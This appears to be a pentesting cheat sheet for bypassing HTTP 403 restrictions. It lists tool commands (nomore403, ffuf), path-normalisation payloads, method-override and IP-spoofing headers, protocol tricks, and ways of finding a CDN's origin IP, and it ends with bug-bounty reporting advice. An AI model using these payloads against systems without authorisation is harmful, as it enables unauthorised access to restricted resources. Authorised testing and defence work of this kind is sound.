403 Bypass
# https://github.com/laluka/bypass-url-parser
python3 bypass-url-parser.py --url target.com# https://github.com/devploit/nomore403
nomore403 -u https://example.comWhy it works
The proxy and the origin disagree about what the path is. Everything below is a way to make them normalise differently.
Path
/admin 403
/admin/ 200
/admin// /.;/admin /admin;/
/./admin/./ /admin/. /admin..;/
/%2e/admin /%2f/admin /admin%20
/admin%00 /admin%0d /admin%09
/admin.json /admin.html /admin.php
/ADMIN /Admin /aDmIn
/..;/admin /admin/..;/ /;/admin
/%252e%252e%252fadmin/..;/ and /.;/ are the Tomcat / Spring family. // and /./ cover most reverse proxies.
Method
GET → POST → PUT → PATCH → DELETE → HEAD → OPTIONS → TRACE
CONNECT / arbitrary verb: many frameworks default-allow unknown methodsX-HTTP-Method-Override: GET
X-HTTP-Method: GET
X-Method-Override: GETHeaders
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /adminSend those with GET /. The proxy allows /, the app routes on the header.
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: localhost
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1;host=localhostAlso try 0, 0.0.0.0, 127.1, localhost, [::1], and the origin’s own internal IP.
Protocol
- HTTP/1.1 blocked, HTTP/2 allowed: proxies often only inspect one
- HTTP/2 pseudo-headers with a raw path the HTTP/1.1 parser would reject
- Downgrade / upgrade the connection and retry
Reach the origin directly
If the block is at the CDN, find the origin IP and the ACL is gone.
# historical DNS, certificate transparency, favicon hash, misconfigured mail
# https://github.com/vincentcox/bypass-firewalls-by-DNS-historySee WAF Bypass.
Fuzz the difference, not the path
Send the same request with one byte changed at every position:
ffuf -u https://example.com/adminFUZZ -w chars.txt -mc all -fc 403
ffuf -u https://example.com/FUZZadmin -w chars.txt -mc all -fc 403Filter on response length, not status. A 200 that renders the login page is not a bypass.
Before reporting
A 403 that turns into a 200 empty page is not a finding. Show data you should not be able to see, or an action you should not be able to take.